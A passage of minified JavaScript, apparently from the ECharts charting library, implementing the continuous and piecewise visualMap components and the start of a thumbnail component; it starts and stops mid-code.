t.prototype.optionUpdated=function(t,n){e.prototype.optionUpdated.apply(this,arguments),this.resetExtent(),this.resetVisual(function(e){e.mappingMethod=`linear`,e.dataExtent=this.getExtent()}),this._resetRange()},t.prototype.resetItemSize=function(){e.prototype.resetItemSize.apply(this,arguments);var t=this.itemSize;(t[0]==null||isNaN(t[0]))&&(t[0]=b0[0]),(t[1]==null||isNaN(t[1]))&&(t[1]=b0[1])},t.prototype._resetRange=function(){var e=this.getExtent(),t=this.option.range;!t||t.auto?(e.auto=1,this.option.range=e):B(t)&&(t[0]>t[1]&&t.reverse(),t[0]=Math.max(t[0],e[0]),t[1]=Math.min(t[1],e[1]))},t.prototype.completeVisualOption=function(){e.prototype.completeVisualOption.apply(this,arguments),L(this.stateList,function(e){var t=this.option.controller[e].symbolSize;t&&t[0]!==t[1]&&(t[0]=t[1]/3)},this)},t.prototype.setSelected=function(e){this.option.range=e.slice(),this._resetRange()},t.prototype.getSelected=function(){var e=this.getExtent(),t=ls((this.get(`range`)||[]).slice());return t[0]>e[1]&&(t[0]=e[1]),t[1]>e[1]&&(t[1]=e[1]),t[0]<e[0]&&(t[0]=e[0]),t[1]<e[0]&&(t[1]=e[0]),t},t.prototype.getValueState=function(e){var t=this.option.range,n=this.getExtent(),r=W(this.option.unboundedRange,!0);return(r&&t[0]<=n[0]||t[0]<=e)&&(r&&t[1]>=n[1]||e<=t[1])?`inRange`:`outOfRange`},t.prototype.findTargetDataIndices=function(e){var t=[];return this.eachTargetSeries(function(n){var r=[],i=n.getData();i.each(this.getDataDimensionIndex(i),function(t,n){e[0]<=t&&t<=e[1]&&r.push(n)},this),t.push({seriesId:n.id,dataIndex:r})},this),t},t.prototype.getVisualMeta=function(e){var t=S0(this,`outOfRange`,this.getExtent()),n=S0(this,`inRange`,this.option.range.slice()),r=[];function i(t,n){r.push({value:t,color:e(t,n)})}for(var a=0,o=0,s=n.length,c=t.length;o<c&&(!n.length||t[o]<=n[0]);o++)t[o]<n[a]&&i(t[o],`outOfRange`);for(var l=1;a<s;a++,l=0)l&&r.length&&i(n[a],`outOfRange`),i(n[a],`inRange`);for(var l=1;o<c;o++)(!n.length||n[n.length-1]<t[o])&&(l&&=(r.length&&i(r[r.length-1].value,`outOfRange`),0),i(t[o],`outOfRange`));var u=r.length;return{stops:r,outerColors:[u?r[0].color:`transparent`,u?r[u-1].color:`transparent`]}},t.type=`visualMap.continuous`,t.defaultOption=mh(y0.defaultOption,{align:`auto`,calculable:!1,hoverLink:!0,realtime:!0,handleIcon:`path://M-11.39,9.77h0a3.5,3.5,0,0,1-3.5,3.5h-22a3.5,3.5,0,0,1-3.5-3.5h0a3.5,3.5,0,0,1,3.5-3.5h22A3.5,3.5,0,0,1-11.39,9.77Z`,handleSize:`120%`,handleStyle:{borderColor:Q.color.neutral00,borderWidth:1},indicatorIcon:`circle`,indicatorSize:`50%`,indicatorStyle:{borderColor:Q.color.neutral00,borderWidth:2,shadowBlur:2,shadowOffsetX:1,shadowOffsetY:1,shadowColor:Q.color.shadow}}),t}(y0);function S0(e,t,n){if(n[0]===n[1])return n.slice();for(var r=200,i=(n[1]-n[0])/r,a=n[0],o=[],s=0;s<=r&&a<n[1];s++)o.push(a),a+=i;return o.push(n[1]),o}var C0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.autoPositionValues={left:1,right:1,top:1,bottom:1},n}return t.prototype.init=function(e,t){this.ecModel=e,this.api=t},t.prototype.render=function(e,t,n,r){if(this.visualMapModel=e,e.get(`show`)===!1){this.group.removeAll();return}this.doRender(e,t,n,r)},t.prototype.renderBackground=function(e){var t=this.visualMapModel,n=mg(t.get(`padding`)||0),r=e.getBoundingRect();e.add(new Lu({z2:-1,silent:!0,shape:{x:r.x-n[3],y:r.y-n[0],width:r.width+n[3]+n[1],height:r.height+n[0]+n[2]},style:{fill:t.get(`backgroundColor`),stroke:t.get(`borderColor`),lineWidth:t.get(`borderWidth`)}}))},t.prototype.getControllerVisual=function(e,t,n){n||={};var r=n.forceState,i=this.visualMapModel,a={};t===`color`&&(a.color=i.get(`contentColor`));function o(e){return a[e]}function s(e,t){a[e]=t}var c=i.controllerVisuals[r||i.getValueState(e)];return L(nR.prepareVisualTypes(c),function(r){var i=c[r];n.convertOpacityToAlpha&&r===`opacity`&&(r=`colorAlpha`,i=c.__alphaForOpacity),nR.dependsOn(r,t)&&i&&i.applyVisual(e,o,s)}),a[t]},t.prototype.positionGroup=function(e){var t=this.visualMapModel,n=this.api,r=Kg(t,n).refContainer;qg(e,t.getBoxLayoutParams(),r)},t.prototype.doRender=function(e,t,n,r){},t.type=`visualMap`,t}(Eb),w0=[[`left`,`right`,`width`],[`top`,`bottom`,`height`]];function T0(e,t,n){var r=e.option,i=r.align;if(i!=null&&i!==`auto`)return i;for(var a={width:t.getWidth(),height:t.getHeight()},o=+(r.orient===`horizontal`),s=w0[o],c=[0,null,10],l={},u=0;u<3;u++)l[w0[1-o][u]]=c[u],l[s[u]]=u===2?n[0]:r[s[u]];var d=[[`x`,`width`,3],[`y`,`height`,0]][o],f=Ug(l,a,r.padding);return s[(f.margin[d[2]]||0)+f[d[0]]+f[d[1]]*.5<a[d[1]]*.5?0:1]}function E0(e,t){return L(e||[],function(e){e.dataIndex!=null&&(e.dataIndexInside=e.dataIndex,e.dataIndex=null),e.highlightKey=`visualMap`+(t?t.componentIndex:``)}),e}var D0=as,O0=L,k0=Math.min,A0=Math.max,j0=12,M0=6,N0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._shapes={},n._dataInterval=[],n._handleEnds=[],n._hoverLinkDataIndices=[],n}return t.prototype.init=function(t,n){e.prototype.init.call(this,t,n),this._hoverLinkFromSeriesMouseOver=z(this._hoverLinkFromSeriesMouseOver,this),this._hideIndicator=z(this._hideIndicator,this)},t.prototype.doRender=function(e,t,n,r){(!r||r.type!==`selectDataRange`||r.from!==this.uid)&&this._buildView()},t.prototype._buildView=function(){this.group.removeAll();var e=this.visualMapModel,t=this.group;this._orient=e.get(`orient`),this._useHandle=e.get(`calculable`),this._resetInterval(),this._renderBar(t);var n=e.get(`text`);this._renderEndsText(t,n,0),this._renderEndsText(t,n,1),this._updateView(!0),this.renderBackground(t),this._updateView(),this._enableHoverLinkToSeries(),this._enableHoverLinkFromSeries(),this.positionGroup(t)},t.prototype._renderEndsText=function(e,t,n){if(t){var r=t[1-n];r=r==null?``:r+``;var i=this.visualMapModel,a=i.get(`textGap`),o=i.itemSize,s=this._shapes.mainGroup,c=this._applyTransform([o[0]/2,n===0?-a:o[1]+a],s),l=this._applyTransform(n===0?`bottom`:`top`,s),u=this._orient,d=this.visualMapModel.textStyleModel;this.group.add(new Hu({style:Bm(d,{x:c[0],y:c[1],verticalAlign:d.get(`verticalAlign`)||(u===`horizontal`?`middle`:l),align:d.get(`align`)||(u===`horizontal`?l:`center`),text:r})}))}},t.prototype._renderBar=function(e){var t=this.visualMapModel,n=this._shapes,r=t.itemSize,i=this._orient,a=this._useHandle,o=T0(t,this.api,r),s=n.mainGroup=this._createBarGroup(o),c=new Y;s.add(c),c.add(n.outOfRange=P0()),c.add(n.inRange=P0(null,a?L0(this._orient):null,z(this._dragHandle,this,`all`,!1),z(this._dragHandle,this,`all`,!0))),c.setClipPath(new Lu({shape:{x:0,y:0,width:r[0],height:r[1],r:3}}));var l=t.textStyleModel.getTextRect(`国`),u=A0(l.width,l.height);a&&(n.handleThumbs=[],n.handleLabels=[],n.handleLabelPoints=[],this._createHandle(t,s,0,r,u,i),this._createHandle(t,s,1,r,u,i)),this._createIndicator(t,s,r,u,i),e.add(s)},t.prototype._createHandle=function(e,t,n,r,i,a){var o=z(this._dragHandle,this,n,!1),s=z(this._dragHandle,this,n,!0),c=Do(e.get(`handleSize`),r[0]),l=Bx(e.get(`handleIcon`),-c/2,-c/2,c,c,null,!0),u=L0(this._orient);l.attr({cursor:u,draggable:!0,drift:o,ondragend:s,onmousemove:function(e){Pn(e.event)}}),l.x=r[0]/2,l.useStyle(e.getModel(`handleStyle`).getItemStyle()),l.setStyle({strokeNoScale:!0,strokeFirst:!0}),l.style.lineWidth*=2,l.ensureState(`emphasis`).style=e.getModel([`emphasis`,`handleStyle`]).getItemStyle(),af(l,!0),t.add(l);var d=this.visualMapModel.textStyleModel,f=new Hu({cursor:u,draggable:!0,drift:o,onmousemove:function(e){Pn(e.event)},ondragend:s,style:Bm(d,{x:0,y:0,text:``})});f.ensureState(`blur`).style={opacity:.1},f.stateTransition={duration:200},this.group.add(f);var p=[c,0],m=this._shapes;m.handleThumbs[n]=l,m.handleLabelPoints[n]=p,m.handleLabels[n]=f},t.prototype._createIndicator=function(e,t,n,r,i){var a=Do(e.get(`indicatorSize`),n[0]),o=Bx(e.get(`indicatorIcon`),-a/2,-a/2,a,a,null,!0);o.attr({cursor:`move`,invisible:!0,silent:!0,x:n[0]/2});var s=e.getModel(`indicatorStyle`).getItemStyle();if(o instanceof ku){var c=o.style;o.useStyle(F({image:c.image,x:c.x,y:c.y,width:c.width,height:c.height},s))}else o.useStyle(s);t.add(o);var l=this.visualMapModel.textStyleModel,u=new Hu({silent:!0,invisible:!0,style:Bm(l,{x:0,y:0,text:``})});this.group.add(u);var d=[(i===`horizontal`?r/2:M0)+n[0]/2,0],f=this._shapes;f.indicator=o,f.indicatorLabel=u,f.indicatorLabelPoint=d,this._firstShowIndicator=!0},t.prototype._dragHandle=function(e,t,n,r){if(this._useHandle){if(this._dragging=!t,!t){var i=this._applyTransform([n,r],this._shapes.mainGroup,!0);this._updateInterval(e,i[1]),this._hideIndicator(),this._updateView()}t===!this.visualMapModel.get(`realtime`)&&this.api.dispatchAction({type:`selectDataRange`,from:this.uid,visualMapId:this.visualMapModel.id,selected:this._dataInterval.slice()}),t?!this._hovering&&this._clearHoverLinkToSeries():I0(this.visualMapModel)&&this._doHoverLinkToSeries(this._handleEnds[e],!1)}},t.prototype._resetInterval=function(){var e=this.visualMapModel,t=this._dataInterval=e.getSelected(),n=e.getExtent(),r=[0,e.itemSize[1]];this._handleEnds=[D0(t[0],n,r,!0),D0(t[1],n,r,!0)]},t.prototype._updateInterval=function(e,t){t||=0;var n=this.visualMapModel,r=this._handleEnds,i=[0,n.itemSize[1]];nV(t,r,i,e,0);var a=n.getExtent();this._dataInterval=[D0(r[0],i,a,!0),D0(r[1],i,a,!0)]},t.prototype._updateView=function(e){var t=this.visualMapModel,n=t.getExtent(),r=this._shapes,i=[0,t.itemSize[1]],a=e?i:this._handleEnds,o=this._createBarVisual(this._dataInterval,n,a,`inRange`),s=this._createBarVisual(n,n,i,`outOfRange`);r.inRange.setStyle({fill:o.barColor}).setShape(`points`,o.barPoints),r.outOfRange.setStyle({fill:s.barColor}).setShape(`points`,s.barPoints),this._updateHandle(a,o)},t.prototype._createBarVisual=function(e,t,n,r){var i={forceState:r,convertOpacityToAlpha:!0},a=this._makeColorGradient(e,i),o=[this.getControllerVisual(e[0],`symbolSize`,i),this.getControllerVisual(e[1],`symbolSize`,i)],s=this._createBarPoints(n,o);return{barColor:new xp(0,0,0,1,a),barPoints:s,handlesColor:[a[0].color,a[a.length-1].color]}},t.prototype._makeColorGradient=function(e,t){var n=100,r=[],i=(e[1]-e[0])/n;r.push({color:this.getControllerVisual(e[0],`color`,t),offset:0});for(var a=1;a<n;a++){var o=e[0]+i*a;if(o>e[1])break;r.push({color:this.getControllerVisual(o,`color`,t),offset:a/n})}return r.push({color:this.getControllerVisual(e[1],`color`,t),offset:1}),r},t.prototype._createBarPoints=function(e,t){var n=this.visualMapModel.itemSize;return[[n[0]-t[0],e[0]],[n[0],e[0]],[n[0],e[1]],[n[0]-t[1],e[1]]]},t.prototype._createBarGroup=function(e){var t=this._orient,n=this.visualMapModel.get(`inverse`);return new Y(t===`horizontal`&&!n?{scaleX:e===`bottom`?1:-1,rotation:Math.PI/2}:t===`horizontal`&&n?{scaleX:e===`bottom`?-1:1,rotation:-Math.PI/2}:t===`vertical`&&!n?{scaleX:e===`left`?1:-1,scaleY:-1}:{scaleX:e===`left`?1:-1})},t.prototype._updateHandle=function(e,t){if(this._useHandle){var n=this._shapes,r=this.visualMapModel,i=n.handleThumbs,a=n.handleLabels,o=r.itemSize,s=r.getExtent(),c=this._applyTransform(`left`,n.mainGroup);O0([0,1],function(l){var u=i[l];u.setStyle(`fill`,t.handlesColor[l]),u.y=e[l];var d=D0(e[l],[0,o[1]],s,!0),f=this.getControllerVisual(d,`symbolSize`);u.scaleX=u.scaleY=f/o[0],u.x=o[0]-f/2;var p=lm(n.handleLabelPoints[l],cm(u,this.group));if(this._orient===`horizontal`){var m=c===`left`||c===`top`?(o[0]-f)/2:(o[0]-f)/-2;p[1]+=m}a[l].setStyle({x:p[0],y:p[1],text:r.formatValueText(this._dataInterval[l]),verticalAlign:`middle`,align:this._orient===`vertical`?this._applyTransform(`left`,n.mainGroup):`center`})},this)}},t.prototype._showIndicator=function(e,t,n,r){var i=this.visualMapModel,a=i.getExtent(),o=i.itemSize,s=[0,o[1]],c=this._shapes,l=c.indicator;if(l){l.attr(`invisible`,!1);var u=this.getControllerVisual(e,`color`,{convertOpacityToAlpha:!0}),d=this.getControllerVisual(e,`symbolSize`),f=D0(e,a,s,!0),p=o[0]-d/2,m={x:l.x,y:l.y};l.y=f,l.x=p;var h=lm(c.indicatorLabelPoint,cm(l,this.group)),g=c.indicatorLabel;g.attr(`invisible`,!1);var _=this._applyTransform(`left`,c.mainGroup),v=this._orient===`horizontal`;g.setStyle({text:(n||``)+i.formatValueText(t),verticalAlign:v?_:`middle`,align:v?`center`:_});var y={x:p,y:f,style:{fill:u}},b={style:{x:h[0],y:h[1]}};if(i.ecModel.isAnimationEnabled()&&!this._firstShowIndicator){var x={duration:100,easing:`cubicInOut`,additive:!0};l.x=m.x,l.y=m.y,l.animateTo(y,x),g.animateTo(b,x)}else l.attr(y),g.attr(b);this._firstShowIndicator=!1;var S=this._shapes.handleLabels;if(S)for(var C=0;C<S.length;C++)this.api.enterBlur(S[C])}},t.prototype._enableHoverLinkToSeries=function(){var e=this;this._shapes.mainGroup.on(`mousemove`,function(t){if(e._hovering=!0,!e._dragging){var n=e.visualMapModel.itemSize,r=e._applyTransform([t.offsetX,t.offsetY],e._shapes.mainGroup,!0,!0);r[1]=k0(A0(0,r[1]),n[1]),e._doHoverLinkToSeries(r[1],0<=r[0]&&r[0]<=n[0])}}).on(`mouseout`,function(){e._hovering=!1,!e._dragging&&e._clearHoverLinkToSeries()})},t.prototype._enableHoverLinkFromSeries=function(){var e=this.api.getZr();this.visualMapModel.option.hoverLink?(e.on(`mouseover`,this._hoverLinkFromSeriesMouseOver,this),e.on(`mouseout`,this._hideIndicator,this)):this._clearHoverLinkFromSeries()},t.prototype._doHoverLinkToSeries=function(e,t){var n=this.visualMapModel,r=n.itemSize;if(n.option.hoverLink){var i=[0,r[1]],a=n.getExtent();e=k0(A0(i[0],e),i[1]);var o=F0(n,a,i),s=[e-o,e+o],c=D0(e,i,a,!0),l=[D0(s[0],i,a,!0),D0(s[1],i,a,!0)];s[0]<i[0]&&(l[0]=-1/0),s[1]>i[1]&&(l[1]=1/0),t&&(l[0]===-1/0?this._showIndicator(c,l[1],`< `,o):l[1]===1/0?this._showIndicator(c,l[0],`> `,o):this._showIndicator(c,c,`≈ `,o));var u=this._hoverLinkDataIndices,d=[];(t||I0(n))&&(d=this._hoverLinkDataIndices=n.findTargetDataIndices(l));var f=ic(u,d);this._dispatchHighDown(`downplay`,E0(f[0],n)),this._dispatchHighDown(`highlight`,E0(f[1],n))}},t.prototype._hoverLinkFromSeriesMouseOver=function(e){var t;if(Ax(e.target,function(e){var n=Z(e);if(n.dataIndex!=null)return t=n,!0},!0),t){var n=this.ecModel.getSeriesByIndex(t.seriesIndex),r=this.visualMapModel;if(r.isTargetSeries(n)){var i=n.getData(t.dataType),a=i.getStore().get(r.getDataDimensionIndex(i),t.dataIndex);isNaN(a)||this._showIndicator(a,a)}}},t.prototype._hideIndicator=function(){var e=this._shapes;e.indicator&&e.indicator.attr(`invisible`,!0),e.indicatorLabel&&e.indicatorLabel.attr(`invisible`,!0);var t=this._shapes.handleLabels;if(t)for(var n=0;n<t.length;n++)this.api.leaveBlur(t[n])},t.prototype._clearHoverLinkToSeries=function(){this._hideIndicator();var e=this._hoverLinkDataIndices;this._dispatchHighDown(`downplay`,E0(e,this.visualMapModel)),e.length=0},t.prototype._clearHoverLinkFromSeries=function(){this._hideIndicator();var e=this.api.getZr();e.off(`mouseover`,this._hoverLinkFromSeriesMouseOver),e.off(`mouseout`,this._hideIndicator)},t.prototype._applyTransform=function(e,t,n,r){var i=cm(t,r?null:this.group);return B(e)?lm(e,i,n):um(e,i,n)},t.prototype._dispatchHighDown=function(e,t){t&&t.length&&this.api.dispatchAction({type:e,batch:t})},t.prototype.dispose=function(){this._clearHoverLinkFromSeries(),this._clearHoverLinkToSeries()},t.type=`visualMap.continuous`,t}(C0);function P0(e,t,n,r){return new sp({shape:{points:e},draggable:!!n,cursor:t,drift:n,onmousemove:function(e){Pn(e.event)},ondragend:r})}function F0(e,t,n){var r=j0/2,i=e.get(`hoverLinkDataSize`);return i&&(r=D0(i,t,n,!0)/2),r}function I0(e){return!!(e.get(`hoverLinkOnHandle`)??e.get(`realtime`))}function L0(e){return e===`vertical`?`ns-resize`:`ew-resize`}var R0={type:`selectDataRange`,event:`dataRangeSelected`,update:`update`},z0=function(e,t){t.eachComponent({mainType:`visualMap`,query:e},function(t){t.setSelected(e.selected)})},B0=[{createOnAllSeries:!0,reset:function(e,t){var n=[];return t.eachComponent(`visualMap`,function(t){var r=e.pipelineContext;!t.isTargetSeries(e)||r&&r.large||n.push(AQ(t.stateList,t.targetVisuals,z(t.getValueState,t),t.getDataDimensionIndex(e.getData())))}),n}},{createOnAllSeries:!0,reset:function(e,t){var n=e.getData(),r=[];t.eachComponent(`visualMap`,function(t){if(t.isTargetSeries(e)){var i=t.getVisualMeta(z(V0,null,e,t))||{stops:[],outerColors:[]},a=t.getDataDimensionIndex(n);a>=0&&(i.dimension=a,r.push(i))}}),e.getData().setVisual(`visualMeta`,r)}}];function V0(e,t,n,r){for(var i=t.targetVisuals[r],a=nR.prepareVisualTypes(i),o={color:Tx(e.getData(),`color`)},s=0,c=a.length;s<c;s++){var l=a[s],u=i[l===`opacity`?`__alphaForOpacity`:l];u&&u.applyVisual(n,d,f)}return o.color;function d(e){return o[e]}function f(e,t){o[e]=t}}var H0=L;function U0(e){var t=e&&e.visualMap;B(t)||(t=t?[t]:[]),H0(t,function(e){if(e){W0(e,`splitList`)&&!W0(e,`pieces`)&&(e.pieces=e.splitList,delete e.splitList);var t=e.pieces;t&&B(t)&&H0(t,function(e){U(e)&&(W0(e,`start`)&&!W0(e,`min`)&&(e.min=e.start),W0(e,`end`)&&!W0(e,`max`)&&(e.max=e.end))})}})}function W0(e,t){return e&&e.hasOwnProperty&&e.hasOwnProperty(t)}var G0=!1;function K0(e){G0||(G0=!0,e.registerSubTypeDefaulter(`visualMap`,function(e){return!e.categories&&(!(e.pieces?e.pieces.length>0:e.splitNumber>0)||e.calculable)?`continuous`:`piecewise`}),e.registerAction(R0,z0),L(B0,function(t){e.registerVisual(e.PRIORITY.VISUAL.COMPONENT,t)}),e.registerPreprocessor(U0))}function q0(e){e.registerComponentModel(x0),e.registerComponentView(N0),K0(e)}var J0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._pieceList=[],n}return t.prototype.optionUpdated=function(t,n){e.prototype.optionUpdated.apply(this,arguments),this.resetExtent();var r=this._mode=this._determineMode();this._pieceList=[],Y0[this._mode].call(this,this._pieceList),this._resetSelected(t,n);var i=this.option.categories;this.resetVisual(function(e,t){r===`categories`?(e.mappingMethod=`category`,e.categories=P(i)):(e.dataExtent=this.getExtent(),e.mappingMethod=`piecewise`,e.pieceList=R(this._pieceList,function(e){return e=P(e),t!==`inRange`&&(e.visual=null),e}))})},t.prototype.completeVisualOption=function(){var t=this.option,n={},r=nR.listVisualTypes(),i=this.isCategory();L(t.pieces,function(e){L(r,function(t){e.hasOwnProperty(t)&&(n[t]=1)})}),L(n,function(e,n){var r=!1;L(this.stateList,function(e){r=r||a(t,e,n)||a(t.target,e,n)},this),!r&&L(this.stateList,function(e){(t[e]||(t[e]={}))[n]=d0.get(n,e===`inRange`?`active`:`inactive`,i)})},this);function a(e,t,n){return e&&e[t]&&e[t].hasOwnProperty(n)}e.prototype.completeVisualOption.apply(this,arguments)},t.prototype._resetSelected=function(e,t){var n=this.option,r=this._pieceList,i=(t?n:e).selected||{};if(n.selected=i,L(r,function(e,t){var n=this.getSelectedMapKey(e);i.hasOwnProperty(n)||(i[n]=!0)},this),n.selectedMode===`single`){var a=!1;L(r,function(e,t){var n=this.getSelectedMapKey(e);i[n]&&(a?i[n]=!1:a=!0)},this)}},t.prototype.getItemSymbol=function(){return this.get(`itemSymbol`)},t.prototype.getSelectedMapKey=function(e){return this._mode===`categories`?e.value+``:e.index+``},t.prototype.getPieceList=function(){return this._pieceList},t.prototype._determineMode=function(){var e=this.option;return e.pieces&&e.pieces.length>0?`pieces`:this.option.categories?`categories`:`splitNumber`},t.prototype.setSelected=function(e){this.option.selected=P(e)},t.prototype.getValueState=function(e){var t=nR.findPieceIndex(e,this._pieceList);return t==null?`outOfRange`:this.option.selected[this.getSelectedMapKey(this._pieceList[t])]?`inRange`:`outOfRange`},t.prototype.findTargetDataIndices=function(e){var t=[],n=this._pieceList;return this.eachTargetSeries(function(r){var i=[],a=r.getData();a.each(this.getDataDimensionIndex(a),function(t,r){nR.findPieceIndex(t,n)===e&&i.push(r)},this),t.push({seriesId:r.id,dataIndex:i})},this),t},t.prototype.getRepresentValue=function(e){var t;if(this.isCategory())t=e.value;else if(e.value!=null)t=e.value;else{var n=e.interval||[];t=n[0]===-1/0&&n[1]===1/0?0:(n[0]+n[1])/2}return t},t.prototype.getVisualMeta=function(e){if(this.isCategory())return;var t=[],n=[``,``],r=this;function i(i,a){var o=r.getRepresentValue({interval:i});a||=r.getValueState(o);var s=e(o,a);i[0]===-1/0?n[0]=s:i[1]===1/0?n[1]=s:t.push({value:i[0],color:s},{value:i[1],color:s})}var a=this._pieceList.slice();if(!a.length)a.push({interval:[-1/0,1/0]});else{var o=a[0].interval[0];o!==-1/0&&a.unshift({interval:[-1/0,o]}),o=a[a.length-1].interval[1],o!==1/0&&a.push({interval:[o,1/0]})}var s=-1/0;return L(a,function(e){var t=e.interval;t&&(t[0]>s&&i([s,t[0]],`outOfRange`),i(t.slice()),s=t[1])},this),{stops:t,outerColors:n}},t.type=`visualMap.piecewise`,t.defaultOption=mh(y0.defaultOption,{selected:null,minOpen:!1,maxOpen:!1,align:`auto`,itemWidth:20,itemHeight:14,itemSymbol:`roundRect`,pieces:null,categories:null,splitNumber:5,selectedMode:`multiple`,itemGap:10,hoverLink:!0}),t}(y0),Y0={splitNumber:function(e){var t=this.option,n=Math.min(t.precision,20),r=this.getExtent(),i=t.splitNumber;i=Math.max(parseInt(i,10),1),t.splitNumber=i;for(var a=(r[1]-r[0])/i;+a.toFixed(n)!==a&&n<5;)n++;t.precision=n,a=+a.toFixed(n),t.minOpen&&e.push({interval:[-1/0,r[0]],close:[0,0]});for(var o=0,s=r[0];o<i;s+=a,o++){var c=o===i-1?r[1]:s+a;e.push({interval:[s,c],close:[1,1]})}t.maxOpen&&e.push({interval:[r[1],1/0],close:[0,0]}),Cs(e),L(e,function(e,t){e.index=t,e.text=this.formatValueText(e.interval)},this)},categories:function(e){var t=this.option;L(t.categories,function(t){e.push({text:this.formatValueText(t,!0),value:t})},this),X0(t,e)},pieces:function(e){var t=this.option;L(t.pieces,function(t,n){U(t)||(t={value:t});var r={text:``,index:n};if(t.label!=null&&(r.text=t.label),t.hasOwnProperty(`value`)){var i=r.value=t.value;r.interval=[i,i],r.close=[1,1]}else{for(var a=r.interval=[],o=r.close=[0,0],s=[1,0,1],c=[-1/0,1/0],l=[],u=0;u<2;u++){for(var d=[[`gte`,`gt`,`min`],[`lte`,`lt`,`max`]][u],f=0;f<3&&a[u]==null;f++)a[u]=t[d[f]],o[u]=s[f],l[u]=f===2;a[u]??(a[u]=c[u])}l[0]&&a[1]===1/0&&(o[0]=0),l[1]&&a[0]===-1/0&&(o[1]=0),a[0]===a[1]&&o[0]&&o[1]&&(r.value=a[0])}r.visual=nR.retrieveVisuals(t),e.push(r)},this),X0(t,e),Cs(e),L(e,function(e){var t=e.close,n=[[`<`,`≤`][t[1]],[`>`,`≥`][t[0]]];e.text=e.text||this.formatValueText(e.value==null?e.interval:e.value,!1,n)},this)}};function X0(e,t){var n=e.inverse;(e.orient===`vertical`?!n:n)&&t.reverse()}var Z0=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.doRender=function(){var e=this.group;e.removeAll();var t=this.visualMapModel,n=t.get(`textGap`),r=t.textStyleModel,i=this._getItemAlign(),a=t.itemSize,o=this._getViewData(),s=o.endsText,c=Ct(t.get(`showLabel`,!0),!s),l=!t.get(`selectedMode`);s&&this._renderEndsText(e,s[0],a,c,i),L(o.viewPieceList,function(o){var s=o.piece,u=new Y;u.onclick=z(this._onItemClick,this,s),this._enableHoverLink(u,o.indexInModelPieceList);var d=t.getRepresentValue(s);if(this._createItemSymbol(u,d,[0,0,a[0],a[1]],l),c){var f=this.visualMapModel.getValueState(d),p=r.get(`align`)||i;u.add(new Hu({style:Bm(r,{x:p===`right`?-n:a[0]+n,y:a[1]/2,text:s.text,verticalAlign:r.get(`verticalAlign`)||`middle`,align:p,opacity:W(r.get(`opacity`),f===`outOfRange`?.5:1)}),silent:l}))}e.add(u)},this),s&&this._renderEndsText(e,s[1],a,c,i),zg(t.get(`orient`),e,t.get(`itemGap`)),this.renderBackground(e),this.positionGroup(e)},t.prototype._enableHoverLink=function(e,t){var n=this;e.on(`mouseover`,function(){return r(`highlight`)}).on(`mouseout`,function(){return r(`downplay`)});var r=function(e){var r=n.visualMapModel;r.option.hoverLink&&n.api.dispatchAction({type:e,batch:E0(r.findTargetDataIndices(t),r)})}},t.prototype._getItemAlign=function(){var e=this.visualMapModel,t=e.option;if(t.orient===`vertical`)return T0(e,this.api,e.itemSize);var n=t.align;return(!n||n===`auto`)&&(n=`left`),n},t.prototype._renderEndsText=function(e,t,n,r,i){if(t){var a=new Y,o=this.visualMapModel.textStyleModel;a.add(new Hu({style:Bm(o,{x:r?i===`right`?n[0]:0:n[0]/2,y:n[1]/2,verticalAlign:`middle`,align:r?i:`center`,text:t})})),e.add(a)}},t.prototype._getViewData=function(){var e=this.visualMapModel,t=R(e.getPieceList(),function(e,t){return{piece:e,indexInModelPieceList:t}}),n=e.get(`text`),r=e.get(`orient`),i=e.get(`inverse`);return(r===`horizontal`?i:!i)?t.reverse():n&&=n.slice().reverse(),{viewPieceList:t,endsText:n}},t.prototype._createItemSymbol=function(e,t,n,r){var i=Bx(this.getControllerVisual(t,`symbol`),n[0],n[1],n[2],n[3],this.getControllerVisual(t,`color`));i.silent=r,e.add(i)},t.prototype._onItemClick=function(e){var t=this.visualMapModel,n=t.option,r=n.selectedMode;if(r){var i=P(n.selected),a=t.getSelectedMapKey(e);r===`single`||r===!0?(i[a]=!0,L(i,function(e,t){i[t]=t===a})):i[a]=!i[a],this.api.dispatchAction({type:`selectDataRange`,from:this.uid,visualMapId:this.visualMapModel.id,selected:i})}},t.type=`visualMap.piecewise`,t}(C0);function Q0(e){e.registerComponentModel(J0),e.registerComponentView(Z0),K0(e)}function $0(e){bw(q0),bw(Q0)}var e2=function(){function e(e){this._thumbnailModel=e}return e.prototype.reset=function(e){this._renderVersion=e.getMainProcessVersion()},e.prototype.renderContent=function(e){var t=e.api.getViewOfComponentModel(this._thumbnailModel);t&&(e.group.silent=!0,t.renderContent({group:e.group,targetTrans:e.targetTrans,z2Range:Mm(e.group),roamType:e.roamType,viewportRect:e.viewportRect,renderVersion:this._renderVersion}))},e.prototype.updateWindow=function(e,t){var n=t.getViewOfComponentModel(this._thumbnailModel);n&&n.updateWindow({targetTrans:e,renderVersion:this._renderVersion})},e}(),t2=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.preventAutoZ=!0,n}return t.prototype.optionUpdated=function(e,t){this._updateBridge()},t.prototype._updateBridge=function(){var e=this._birdge=this._birdge||new e2(this);this._target=null,this.ecModel.eachSeries(function(e){Qz(e,null)}),this.shouldShow()&&Qz(this.getTarget().baseMapProvider,e)},t.prototype.shouldShow=function(){return this.getShallow(`show`,!0)},t.prototype.getBridge=function(){return this._birdge},t.prototype.getTarget=function(){if(this._target)return this._target;var e=this.getReferringComponents(`series`,{useDefault:!1,enableAll:!1,enableNone:!1}).models[0];return e?e.subType!==`graph`&&(e=null):e=this.ecModel.queryComponents({mainType:`series`,subType:`graph`})[0],this._target={baseMapProvider:e},this._target},t.type=`thumbnail`,t.layoutMode=`box`,t.dependencies=[`series`,`geo`],t.defaultOption={show:!0,right:1,bottom:1,height:`25%`,width:`25%`,itemStyle:{borderColor:Q.color.border,borderWidth:2},windowStyle:{borderWidth:1,color:Q.color.neutral30,borderColor:Q.color.neutral40,opacity:.3},z:10},t}(e_),n2=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){if(this._api=n,this._model=e,this._coordSys||=new _I,!this._isEnabled()){this._clear();return}this._renderVersion=n.getMainProcessVersion();var r=this.group;r.removeAll();var 